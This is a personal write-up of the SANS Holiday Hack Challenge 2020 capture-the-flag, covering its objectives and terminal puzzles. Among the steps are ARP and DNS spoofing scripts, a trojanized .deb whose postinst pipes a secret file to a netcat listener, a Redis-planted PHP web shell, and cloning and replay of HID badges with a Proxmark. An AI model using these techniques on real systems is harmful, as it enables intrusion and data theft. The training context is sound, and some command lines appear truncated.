Image for post
Image for post
Kringlecon 3 Greeting Card

SANS Holiday Hack Challenge 2020 Write-Up

Welcome to my write-up! Here you’ll find the steps needed to complete objectives and challenges. However some will not provide the answer. This is because if you follow the steps and understand what you’re doing; you’ll get the answer. If you’re only looking for the answer, there are other write-ups just a quick Google search away. This write-up will first cover the objectives followed by raspberry pi challenges.

Analyze image to find Santa’s gift for Josh Write. Relevant portion of image has been swirled which obfuscates the text. Need to “un-swirl” portions of the image to retrieve the flag.

  1. Loaded image into
  2. Used Liquify tool and configured it as follows:
    — Swirl Right
    — Size: 356px
    — Strength: 72%
    — Density: 54%
  3. Proceeded to click on the image, which rotates the swirl, to reveal the flag.

This objective was completed across different sessions. That’s why elf@<random> isn’t consistent.

elf@27e8b442c806:~$ echo “wrapper3000” >> ./bucket_finder/wordlist 
elf@27e8b442c806:~$ echo “Wrapper3000” >> ./bucket_finder/wordlist
elf@27e8b442c806:~$ echo “3000” >> ./bucket_finder/wordlist
elf@27e8b442c806:~$ cd bucket_finder/
elf@27e8b442c806:~/bucket_finder$ ./bucket_finder.rb — download wordlist
Bucket found but access denied: kringlecastle
Bucket found but access denied: wrapper
Bucket santa redirects to:
Bucket found but access denied: santa
Bucket Found: wrapper3000 ( )
Bucket does not exist: Wrapper3000
Bucket does not exist: 3000
elf@27e8b442c806:~/bucket_finder$ ls
README bucket_finder.rb wordlist wrapper3000
elf@27e8b442c806:~/bucket_finder$ file wrapper3000/
wrapper3000/: directory
elf@27e8b442c806:~/bucket_finder$ cd wrapper3000/
elf@27e8b442c806:~/bucket_finder/wrapper3000$ ls
elf@27e8b442c806:~/bucket_finder/wrapper3000$ file package
package: ASCII text, with very long lines
elf@27e8b442c806:~/bucket_finder/wrapper3000$ cat package
<redacted> appears to be base64 encoded.
elf@27e8b442c806:~/bucket_finder/wrapper3000$ cat package | base64 -d
??   package.txt.Z.xz.xxd.tar.bz2<redacted>
elf@27e8b442c806:~/bucket_finder/wrapper3000$ cat package | base64 -d > package.txt.Z.xz.xxd.tar.bz2
elf@27e8b442c806:~/bucket_finder/wrapper3000$ file package.txt.Z.xz.xxd.tar.bz2
package.txt.Z.xz.xxd.tar.bz2: Zip archive data, at least v1.0 to extract
elf@27e8b442c806:~/bucket_finder/wrapper3000$ cp package.txt.Z.xz.xxd.tar.bz2 package.txt.Z.xz.xxd.tar.gz
elf@27e8b442c806:~/bucket_finder/wrapper3000$ gunzip package.txt.Z.xz.xxd.tar.gz
elf@27e8b442c806:~/bucket_finder/wrapper3000$ tar -xvf package.txt.Z.xz.xxd.tar
elf@6342cbd17182:~/bucket_finder/wrapper3000$ cat package.txt.Z.xz.xxd
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ……F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede ….t/….,…N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910 ……7l…A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d F…C’M………
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6 ..E..D…….)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d d..$..E-.RW….}
00000060: 0100 0000 0004 595a ……YZ
elf@6342cbd17182:~/bucket_finder/wrapper3000$ echo -n -e ‘\xfd\x37\x7a\x58\x5a\x00\x00\x04\xe6\xd6\xb4\x46\x02\x00\x21\x01\x16\x00\x00\x00\x74\x2f\xe5\xa3\x01\x00\x2c\x1f\x9d\x90\x4e\xde\xc8\xa1\x83\x06\x04\x94\x37\x6c\xca\xe8\x00\x41\x05\x4d\x19\x10\x46\xe4\xbc\x99\x43\x27\x4d\x19\x8a\x06\xd9\x84\x19\xf3\xf0\x8d\x1b\x10\x45\xc2\x0c\x44\xa3\x00\x00\x00\x00\x00\xc9\x29\xda\xd6\x64\xef\xda\x24\x00\x01\x45\x2d\x1e\x52\x57\xe8\x1f\xb6\xf3\x7d\x01\x00\x00\x00\x00\x04\x59\x5a’ > package.txt.Z.xz
elf@6342cbd17182:~/bucket_finder/wrapper3000$ ls
package package.txt.Z.xz package.txt.Z.xz.xxd package.txt.Z.xz.xxd.tar
elf@6342cbd17182:~/bucket_finder/wrapper3000$ file package.txt.Z.xz
package.txt.Z.xz: XZ compressed data
elf@6342cbd17182:~/bucket_finder/wrapper3000$ xz -d package.txt.Z.xz
elf@6342cbd17182:~/bucket_finder/wrapper3000$ file package.txt.Z
package.txt.Z: compress’d data 16 bits
elf@6342cbd17182:~/bucket_finder/wrapper3000$ uncompress package.txt.Z
elf@6342cbd17182:~/bucket_finder/wrapper3000$ cat package | base64 -d >
elf@6342cbd17182:~/bucket_finder/wrapper3000$ file Zip archive data, at least v1.0 to extract
elf@6342cbd17182:~/bucket_finder/wrapper3000$ mv ./new/
elf@6342cbd17182:~/bucket_finder/wrapper3000$ cd new/
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ unzip
extracting: package.txt.Z.xz.xxd.tar.bz2
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ bunzip2 package.txt.Z.xz.xxd.tar.bz2
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ tar -xvf package.txt.Z.xz.xxd.tar
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ cat package.txt.Z.xz.xxd
00000000: fd37 7a58 5a00 0004 e6d6 b446 0200 2101 .7zXZ……F..!.
00000010: 1600 0000 742f e5a3 0100 2c1f 9d90 4ede ….t/….,…N.
00000020: c8a1 8306 0494 376c cae8 0041 054d 1910 ……7l…A.M..
00000030: 46e4 bc99 4327 4d19 8a06 d984 19f3 f08d F…C’M………
00000040: 1b10 45c2 0c44 a300 0000 0000 c929 dad6 ..E..D…….)..
00000050: 64ef da24 0001 452d 1e52 57e8 1fb6 f37d d..$..E-.RW….}
00000060: 0100 0000 0004 595a ……YZ
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ echo -n -e ‘\xfd\x37\x7a\x58\x5a\x00\x00\x04\xe6\xd6\xb4\x46\x02\x00\x21\x01\x16\x00\x00\x00\x74\x2f\xe5\xa3\x01\x00\x2c\x1f\x9d\x90\x4e\xde\xc8\xa1\x83\x06\x04\x94\x37\x6c\xca\xe8\x00\x41\x05\x4d\x19\x10\x46\xe4\xbc\x99\x43\x27\x4d\x19\x8a\x06\xd9\x84\x19\xf3\xf0\x8d\x1b\x10\x45\xc2\x0c\x44\xa3\x00\x00\x00\x00\x00\xc9\x29\xda\xd6\x64\xef\xda\x24\x00\x01\x45\x2d\x1e\x52\x57\xe8\x1f\xb6\xf3\x7d\x01\x00\x00\x00\x00\x04\x59\x5a’ > package.txt.Z.xz
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ xz -d package.txt.Z.xz
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ uncompress package.txt.Z
elf@6342cbd17182:~/bucket_finder/wrapper3000/new$ cat package.txt

Initially tried using Ubuntu installation though kept getting overflow errors. Then proceeded to use Windows with this objective.

  1. Installed 7-Zip 19.00 on Windows system.
  2. Downloaded ASAR plugin: and placed files into Formats directory of 7-Zip installation.
  3. Right-Click santa-shop.exe and extracted contents to .\santa-shop
  4. Proceeded into .\santa-shop\$PLUGINSDIR
  5. Extracted app-64.7z to .\app-64
  6. Proceeded into .\santa-shop\$PLUGINSDIR\app-64
  7. Browsed files
  8. Opened .\santa-shop\$PLUGINSDIR\app-64\resources\app.asar to find the password
  1. Positioned the bulbs just outside each pipe according to their matching color.
  2. Placed hex nut near the top to split the stream; charging Red and Green at the same time.
  3. Once Red and Green were charged, used Candy Cane to divert the entire stream to Yellow.
  4. Then quickly closed the panel and press the desired floor before Red and Green discharge.

Hint: You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running lf hid read when you are close enough to someone with a badge.

Read the following badges.

Noel Boetie: 
#db# TAG ID: 2006e22f08 (6020) — Format Len: 26 bit — FC: 113 — Card: 6020
Bow Ninecandle:
#db# TAG ID: 2006e22f0e (6023) — Format Len: 26 bit — FC: 113 — Card: 6023

Then tried each card that was captured. Bow Ninecandle’s card worked!

lf hid sim -r 2006e22f0e

Disclaimer: My use of Splunk only occurs during these challenges. Therefore these answers will be far from ideal.

** Training Questions **

1. How many distinct MITRE ATT&CK techniques did Alice emulate?

index=t* | stats count by index

Then manually counted the unique t1xxx items.

2. What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)

Used results from the prior question to identify the two indexes.

3. One technique that Santa had us simulate deals with ‘system information discovery’. What is the full name of the registry key that is queried to determine the MachineGuid?

Google search revealed it to be:

Cloned github repo for atomic-red-team. Then ran the following PowerShell command to perform a string search on the repo.

Get-ChildItem .\ -Force -Recurse -File | Select-String 'machineguid'

The above command produced a number of results, most importantly the following:

atomics\T1082\T1082.yaml:109: REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid

4. According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)

Expanded on the example to produce:

index=attack | sort _time

Scrolled down to find the first OSTAP entry.

5. One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

Searched github repos using author:frgnca which didn’t produce results. Also performed string searches on repo contents to identify frgnca contribution which also didn’t produce results. Took a closer look at frgnca github page and identified AudioDeviceCmdlets as the likely candidate.

Used the following Splunk search string which returns two entries; one of which has the answer.

index=* source=”XmlWinEventLog:Microsoft-Windows-Sysmon/Operational” EventCode=1 EventData_Xml=*AudioDevice*

6. Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

Started looking at Splunk though wasn’t able to find anything useful.

Searched atomic-red-team repo for all .bat files and found those with multiple lines to be minimal. Checked each file to find the answer.

7. According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

Searched the x509 Zeek log using the following Splunk search string. This made it easy to solve.

index=* source=”/opt/zeek/logs/current/x509.log”

** Challenge Question **
What is the name of the adversary group that Santa feared would attack KringleCon?

From the chat, Alice Bluebird provided the following base64 string.


Used the following url to convert the base64 string to hex.

After watching Adversary Emulation and Automation by Dave Herrald, the last frame of the video was a picture with the password for this question.

Used the following url to convert the password to hex.

With this information, went to the following url. Inputed the hex cipher text (0xec55…). Ensured RC4 DECODE was selected. Then input the password hex string (0x5374…) to get the answer.

Identified ID’s and mapped ranges for each functionality.

START : 02A#00FF00
STOP : 02A#0000FF
UNLOCK : 19B#00000F000000
LOCK : 19B#000000000000
BRAKE : 080#000064
-50 : 019#FFFFFFD0
-25 : 019#FFFFFFE8
0 : 019#00000000
7 : 019#00000006
50 : 019#00000033
ACCEL : 244#<Less than 0x2400>

After inputting a number of filters to specify the above ranges, the objective still wasn’t solved. I went to Discord for pointers, as I often over-think these challenges, and found someone completed this using just two rules. Over-thinking indeed. Cleared existing rules and identified two overly verbose entries to complete this objective.

Started by scanning the website with Burp Suite Community Edition and OWASP ZAP. Wasn’t able to find an obvious vulnerability. Checked discord to find references to webshell which immediately lead me to the image upload functionality.

Found a webshell at:

When uploaded, an error message appeared stating the following file isn’t a valid image.


Great! Now I know that images are being staged in the tmp directory!

Looked through discord hints again and noticed the source code should be visible somehow.

Tried various requests:

GET /image?id=/tmp/RackMultipart20201228–1–4acdac.rb = 404
GET /image?id=/RackMultipart20201228–1–4acdac.rb = 404
GET /image?id=/app/lib/app.rb = 404
GET /image?id=/lib/app.rb = 404
GET /image?id=/app.rb = 200!!!!

Reviewed the source and found multiple edits over the time I’ve been working on this objective. Stopped using burp and zap in favor of; which is a PowerShell module allowing custom HTTP requests to be submitted. Proceeded to try various ID values to see what the /image endpoint will provide. After a number of unsuccessful attempts, the following revealed something useful.

GET /image?id=GREETZ = 200PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

This ENV printout is quite helpful. While doubtful, I still tried “BusyRWasHere” as the object answer which of course was incorrect. Searched discord for that user and found they were actively posting messages. Next tried the following request since Linux is case sensitive.

GET /image?id=greetz = 200HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 30 Dec 2020 19:06:15 GMT
Content-Type: image/jpeg
Content-Length: 17
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none
<answer redacted>

Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

Jack Frost has hijacked the host at with some custom malware.
Help the North Pole by getting command line access back to this host.

Ran tcpdump to see what traffic was being placed on the wire. Found was sending frequent arp requests for Documented the hardware (mac) address (4c:24:57:ab:ed:84) for use in the upcoming python scripts.

Viewed the arp packet capture in scapy to understand the required structure. Output redacted.

guest@179e223fe3cb:~$ scapy 
>>> packets = rdpcap(‘/home/guest/pcaps/arp.pcap’)
>>> packets[0]
>>> packets[1]

Modified as follows to respond to the arp requests.

ether_resp = Ether(dst=”4c:24:57:ab:ed:84", type=0x806, src=”02:42:0a:06:00:05")
arp_response = ARP(pdst=”")
arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x800
arp_response.hwtype = 0x1
arp_response.hwsrc = “02:42:0a:06:00:05”
arp_response.psrc = “”
arp_response.hwdst = “4c:24:57:ab:ed:84”
arp_response.pdst = “”

Then updated the call to main to be an infinite loop.

while i>0:

Launched the script in the background using the following syntax:

./scripts/ > /dev/null &

Launched tcpdump to confirm arp was successfully spoofed. Noticed now began issuing DNS requests to my host trying to resolve

Loaded dns packet captures into scapy to understand the required structure. Output redacted.

guest@179e223fe3cb:~$ scapy
>>> packets = rdpcap(‘/home/guest/pcaps/dns.pcap’)
>>> packets[0]
>>> packets[1]

Modified as follows to respond to the dns queries as the spoofed host.

ipaddr_we_arp_spoofed = “”
def handle_dns_request(packet):
eth = Ether(src=”02:42:0a:06:00:05", dst=”4c:24:57:ab:ed:84")
ip = IP(dst=”", src=”")
udp = UDP(dport=packet[UDP].sport, sport=53)
dns = DNS(id=packet[DNS].id,qr=1,opcode=packet[DNS].opcode,ancount=1)
response = eth / ip / udp / dns
response[DNS].qd = packet[DNSQR]
response[DNS].an = DNSRR(rrname=””,type=”A”,rclass=”IN”,ttl=800,rdata=”")
sendp(response, iface=”eth0")

Then updated the call to main to be an infinite loop.

while i>0:

Launched the script in the background using the following syntax:

./scripts/ > /dev/null &

Launched tcpdump to confirm successful dns request/response. Then found tcp syn being sent to port 80. Before setting up a web server, I need to create a custom .deb package to get access to the file:

Chose to use netcat to transfer the file and set up a listener on this system via the following:

nc -l -p 1234 > minutes.txt

The custom .deb package was created using the following commands. The appropriate netcat command was added towards the end allowing it to connect to my listener.

mkdir mod
cp ~/debs/netcat-traditional_1.10–41.1ubuntu1_amd64.deb ./mod/
mkdir mod2
cp ~/debs/netcat-traditional_1.10–41.1ubuntu1_amd64.deb ./mod2/
cd mod
dpkg -x netcat-traditional_1.10–41.1ubuntu1_amd64.deb .
mkdir DEBIAN
cd ../mod2/
ar -x netcat-traditional_1.10–41.1ubuntu1_amd64.deb
xz -d control.tar.xz
tar -xvf control.tar ./control
tar -xvf control.tar ./postinst
mv control ../mod/DEBIAN/
mv postinst ../mod/DEBIAN/
echo “cat /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt | /bin/nc 1234” >> ~/mod/DEBIAN/postinst
echo “” >> ~/mod/DEBIAN/postinst
cd ~/
dpkg-deb — build ~/mod/
mv ~/mod.deb ~/nc-mod.deb

Navigated to ~/debs and started the python web server:

python3 -m http.server 80

Launched tcpdump again to find tcp being successfully negotiated with requests being made for /pub/jfrost/backdoor/suriv_amd64.deb. Created that directory structure within the ~/debs folder and copied the modified deb (nc-mod.deb) to suriv_amd64.deb.

mkdir ~/debs/pub
mkdir ~/debs/pub/jfrost
mkdir ~/debs/pub/jfrost/backdoor
cp ~/debs/nc-mod.deb ~/debs/pub/jfrost/backdoor/suriv_amd64.deb

After doing so, successful requests were immediately logged. — — [26/Dec/2020 22:19:02] “GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1” 200 -

Checked the netcat output file minutes.txt to find it contained the desired file. Reviewed the board meeting minutes and found the answer.

Using burp, viewed requests as both Santa and as a regular user. Identified the besanta token as needing to be added to requests. First tried modifying intercepted requests via burp which was unsuccessful. Knowing this should be an easier challenge, used the Chrome developer tools inspector utility have a closer look at the page source. Found the besanta token added to the iframe tag as Santa. Access was granted after adding the besanta token to the iframe of the regular user.

*** Did not complete ***
While I didn’t complete this challenge, the following is progress made which may or may not be correct. Though I’m pretty sure I was on the right track.

Modified to load the blockchain.

with open(‘official_public.pem’,’rb’) as fh:
official_public_key = RSA.importKey(
c2 = Chain(load=True, filename=’blockchain.dat’)

Launched script in interactive session to investigate entries:


Found c2.blocks[<index>].nonce will return the decimal nonce value. Printed out all nonces using the following:

for entry in c2.blocks:
with open(“nonce-list.txt”, “a”) as outFile:
outFile.write(str(entry.nonce) + “\n”)

** Did not complete ***

*** Did not complete ***
While I didn’t complete this challenge, the following is progress made which may or may not be correct. Though I’m pretty sure I was on the right track.

Added method to to generate SHA256 of blocks.

def hash_via_256(self):
hash_obj =
with open(“bc-sha256.txt”, “a”) as outFile:
outFile.write(str(self.nonce) + "," + str( + “,” + str(self.rid) + “,” + str(hash_obj.hexdigest()) + “\n”)

Loaded script into an interactive session as noted in 11a. Then ran the method.

for entry in c2.blocks:

Searched through bc-sha256.txt and found the target block to have the following properties:

Nonce: a9447e5771c704f4
PID: 0000000000012fd1
RID: 000000000000020f

Used the following to find this entry within the blockchain since 0x12fd1=77777.

for entry in c2.blocks:
if == 77777:

Upon inspection, there are two data items. The first being a binary blob while the second is a pdf. Probably only need the pdf document (#2) though both documents were exported just for kicks.

for entry in c2.blocks:
if == 77777:

** Did not complete ***

This concludes the objectives for SANS Holiday Hack Challenge 2020. So close to finishing this year! Scroll down to find completed Raspberry Pi challenges.

Image for post
Image for post
Raspberry Pi Greeting Card

Raspberry Pi Challenges

The following are completed Raspberry Pi challenges. It’s virtually impossible not to include answers with these challenges so:

*** WARNING — Spoilers ahead! ***

Reconnect to tmux session.

elf@e265b30e034c:~$ tmux attach
  1. Map
Image for post
Image for post

2. Code of Conduct and Terms of Use. This stuff always reads like gibberish!

Image for post
Image for post

3. Directory

Image for post
Image for post

4. Name Badge. Confirmed to be vulnerable to command injection.

Image for post
Image for post

#[ Door ]#
View password stored in binary as plain text. Should have used strings.

elf@72097903f979 ~ $ cat ./door 
You look at the screen. It wants a password. You rol
l your eyes — the
password is probably stored right in the binary. There’s gotta be a
tool for this…
What do you enter? > opendoor  (bytes Overflowextern “ NulErrorBox<Any>thread ‘expected,
found Door opened!
That would have opened the door!
Be sure to finish the challenge in prod: And don’t forget, the password is “Op3nTheD00r”
Beep boop invalid password
elf@72097903f979 ~ $ ./door
You look at the screen. It wants a password. You roll your eyes — the
password is probably stored right in the binary. There’s gotta be a
tool for this…
What do you enter? > Op3nTheD00r
Door opened!

#[ Vending Machine ]#
Password was encrypted using a polyalphabetic cipher thus each letter must be brute forced separately. Established character set as Vocab and looped through it. Apologies to those reading this with actual python skills. I have just enough to hack things together.

import json
import os
Vocab = [“a”,”C”,”b”,”c”,”d”,”e”,”f”,”g”,”h”,”i”,”j”,”k”,”l”,”m”,”n”,”o”,”p”,”q”,”r”,”s”,”t”,”u”,”v”,”w”,”x”,”y”,
DesiredPassword = [“L”,”V”,”E”,”d”,”Q”,”P”,”p”,”B”,”w”,”r”]
CurrentPassword = []
strdPwd = ‘’
for letter in DesiredPassword:
dPwd = strdPwd + letter
for item in Vocab:
strPwd = ‘’.join(CurrentPassword) + item
echoCmd = ‘echo -e \”elf-maintenance\\n’ + strPwd +’\” | ./vending-machines > /dev/null’
with open(‘vending-machines.json’) as f:
data = json.load(f)
filePwd = data[‘password’]
os.system(“rm vending-machines.json > /dev/null”)
if(dPwd == filePwd):
CurrentPassword += item
strdPwd = filePwd
print(“ CurrentPwd: “ + ‘’.join(CurrentPassword))
elf@d2b915a5248e ~/lab $ python3
CurrentPwd: CandyCane1
Please enter the vending-machine-back-on code > CandyCane1
Vending machines enabled!!

#[ Lights ]#
Bushy Evergreen provided a great hint: “What if we set the user name to an encrypted value?”

Updated ./lab/lights.conf as follows:

password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124

Then launched lights within the lab.

elf@c2c8195ddd18 ~/lab $ ./lights 
The terminal just blinks: Welcome back, Computer-TurnLightsOn
What do you enter? > Computer-TurnLightsOn
That would have turned on the lights!
If you’ve figured out the real password, be sure you run /home/elf/lights
elf@c2c8195ddd18 ~/lab $ cd ..
elf@c2c8195ddd18 ~ $ ./lights
What do you enter? > Computer-TurnLightsOn
Lights on!
echo munchkin_9394554126440791
cat munchkin_19315479765589239
rm munchkin_19315479765589239
ls -lashF
cd workshop/
grep -i “munchkin” ./*
ls -lashF /home/elf/workshop/lollipop_engine
chmod +x /home/elf/workshop/lollipop_engine
cd electrical/
mv blown_fuse0 fuse0
ln -s fuse0 fuse1
cp fuse1 fuse2
echo “MUNCHKIN_REPELLENT” >> fuse2
find /opt/munchkin_den/ -name “*munchkin*”
cd /opt/munchkin_den/
find ./ -type f | grep -i “mun”
find ./ -type f -user munchkin
find ./ -type f -size +108k -size -110k
ps -auxwww
netstat -na
kill -9 6709
1) ^[0–9]$
2) ^[a-zA-Z]{3,}$
3) ^.*[a-z0–9]{2}.*$
4) (?:(?![A-L1–5])[a-zA-Z0–9]{2})+
5) ^[0–9]{3,}$
6) ^(0?[1–9]|1[0–9]|2[1–3])\:[0–5][0–9]\:[0–5][0–9]$
7) ^[0–9a-fA-F]{2}\:[0–9a-fA-F]{2}\:[0–9a-fA-F]{2}\:[0–9a-fA-F]{2}\:[0–9a-fA-F]{2}\:[0–9a-fA-F]{2}$
8) ^\b(0[1–9]|(1|2)[0–9]|3[0–1])(\/|\.|\-)(0[1–9]|1[0–2])(\/|\.|\-)(19|20)[0–9]{2}\b$
Red Bulb — Second Floor; Next to “Track 7” door.Elevator 1.5 Button — Second Floor; Speaker Unpreparedness Room; Bottom Right cornerLarge Marble — 1.5 Floor; Workshop Room; Right of table with bears.Rubber Ball — 1.5 Floor; Wrapping Room; Bottom Right cornerProxmark3–1.5 Floor; Wrapping Room; Right of table with computerYellow Bulb — Roof; NetWars; Far Left Near CAN-Bus Investigation Raspberry Pi terminal.Portals — Second Floor; Talks Lobby; Fix Vending Machine, then keep talking to the vending machine.2nd Hex Nut — First Floor; Dining Room; just walking though and picked it up.Found the rest of the items during initial discovery.

First got phpinfo to run and verify the functionality noted in the hint.

curl http://localhost/maintenance.php?cmd=config,set,dir,%2Fvar%2Fwww%2Fhtml%2F
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php
curl http://localhost/maintenance.php?cmd=set,test,%22%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%22
curl http://localhost/maintenance.php?cmd=save
curl http://localhost/redis.php — output redis.php

After successfully displaying phpinfo, modified the code as follows to show the bug in index.php.

curl http://localhost/maintenance.php?cmd=config,set,dir,%2Fvar%2Fwww%2Fhtml%2F
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,dosh.php
curl http://localhost/maintenance.php?cmd=set,test,%3C%3Fphp%20system%28%24_GET%5B%22c%22%5D%29%3B%20%3F%3E
curl http://localhost/maintenance.php?cmd=save
curl http://localhost/dosh.php?c=cat%20%2Fvar%2Fwww%2Fhtml%2Findex.php — output dosh.php

Level 1 — Elf Code


Level 2 — Trigger The Yeeter

elf.pull_lever(elf.get_lever(0) + 2)

Level 3 — Move To Loopiness


Level 4 — Up Down Loopiness

for (i = 0; i < 3; i++) {

Level 5 — Move to Madness

var challenge = elf.ask_munch(0)
let response = challenge.filter(item => typeof item === ‘number’)

Level 6 — Two Paths, Your Choice

for (i = 0; i < 4; i++) {
var result = elf.get_lever(0).unshift(‘munchkins rule’)

# Challenge Completed #
# Bonus Challenges #

Level 7 — Yeeter Swirl

Didn’t continue with the bonus challenges.

After watching the video and reading the intro, determined there should be only three entries for the lock/unlock CAN. Two codes should be the lock and the one code should be to unlock. Removed the verbose entries (vcan0 244#) which greatly reduced the volume. Visual inspection of the results quickly found the answer.

Type “yes” to begin. yes
║ ‘help()’ prints the present packet scapy help. ║
║ ‘help_menu()’ prints the present packet scapy help. ║
║ ‘task.get()’ prints the current task to be solved. ║
║ ‘task.task()’ prints the current task to be solved. ║
║ ‘’ prints help on how to complete your task ║
║ ‘task.submit(answer)’ submit an answer to the current task ║
║ ‘task.answered()’ print through all successfully answered. ║
>>> task.get()
Welcome to the “Present Packet Prepper” interface! The North Pole could use your help preparing present packets for shipment.
Start by running the task.submit() function passing in a string argument of ‘start’.
Type for help on this question.
>>> task.submit(‘start’)
Correct! adding a () to a function or class will execute it. Ex — FunctionExecuted()
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.>>> task.submit(send)
Correct! The “send” scapy class will send a crafted scapy packet out of a network interface.
Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.>>> task.submit(sniff)
Correct! the “sniff” scapy class will sniff network traffic and return these packets in a list.
Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”:
1. pkt = sr1(IP(dst=”")/TCP(dport=20))
2. pkt = sniff(IP(dst=”")/TCP(dport=20))
3. pkt = sendp(IP(dst=”")/TCP(dport=20))
>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.
Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.>>> task.submit(rdpcap)
Correct! the “rdpcap” scapy class can read pcap files.
The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices
below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
3. UDP_PACKETS.list()
>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.
Submit only the entire TCP layer of the second packet in TCP_PACKETS.>>> task.submit((TCP_PACKETS[1])[TCP])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc…
can be accessed this way. Ex — pkt[IP][TCP]
Change the source IP address of the first packet found in UDP_PACKETS to and then subm
it this modified packet
>>> UDP_PACKETS[0][IP].src=’'>>> task.submit(UDP_PACKETS[0])
Correct! You can change ALL scapy packet attributes using this method.
Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS.>>> TCP_PACKETS[3][TCP].payload
<Raw load=’220 North Pole FTP Server\r\n’ |>
>>> TCP_PACKETS[4][TCP].payload
<Raw load=’USER alabaster\r’ |>
>>> TCP_PACKETS[5][TCP].payload
<Raw load=’331 Password required for alabaster.\r’ |>
>>> TCP_PACKETS[6][TCP].payload
<Raw load=’PASS echo\r\n’ |>
>>> TCP_PACKETS[7][TCP].payload
<Raw load=’230 User alabaster logged in.\r’ |>
>>> task.submit(‘echo’)
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets: [pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]
The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit
only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .
Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP
of stored in the variable named “pkt”
1. pkt = Ether(src=’')/ICMP(type=”echo-request”)
2. pkt = IP(src=’')/ICMP(type=”echo-reply”)
3. pkt = IP(dst=’')/ICMP(type=”echo-request”)
>>> task.submit(3)
Correct! Once you assign the packet to a variable named “pkt” you can then use that variable to send or manipulate
your created packet.
Create and then submit a UDP packet with a dport of 5000 and a dst IP of (all other packet attributes can be unspecified)>>> pkt = IP(dst=’')/UDP(dport=5000)>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst=”")/UDP(dport=5000)
Create and then submit a UDP packet with a dport of 53, a dst IP of, and is a DNS query with a qname of
“elveslove.santa”. (all other packet attributes can be unspecified)
>>> pkt = IP(dst=’')/UDP(dport=53)/DNS(qd=DNSQR(qname=”elveslove.santa”))>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst=”")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=”elveslove.santa”))
The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then t
ask.submit(ARP_PACKETS) for inspection.
<Ether dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-ha
s hwsrc=00:16:ce:6e:8b:24 psrc= hwdst=00:00:00:00:00:00 pdst= |>>
>>> ARP_PACKETS[1].show()
###[ Ethernet ]###
dst = 00:16:ce:6e:8b:24
src = 00:13:46:0b:22:ba
type = ARP
###[ ARP ]###
hwtype = 0x1
ptype = IPv4
hwlen = 6
plen = 4
op = None
hwsrc = ff:ff:ff:ff:ff:ff
psrc =
hwdst = ff:ff:ff:ff:ff:ff
pdst =
###[ Padding ]###
load = ‘\xc0\xa8\x00r’
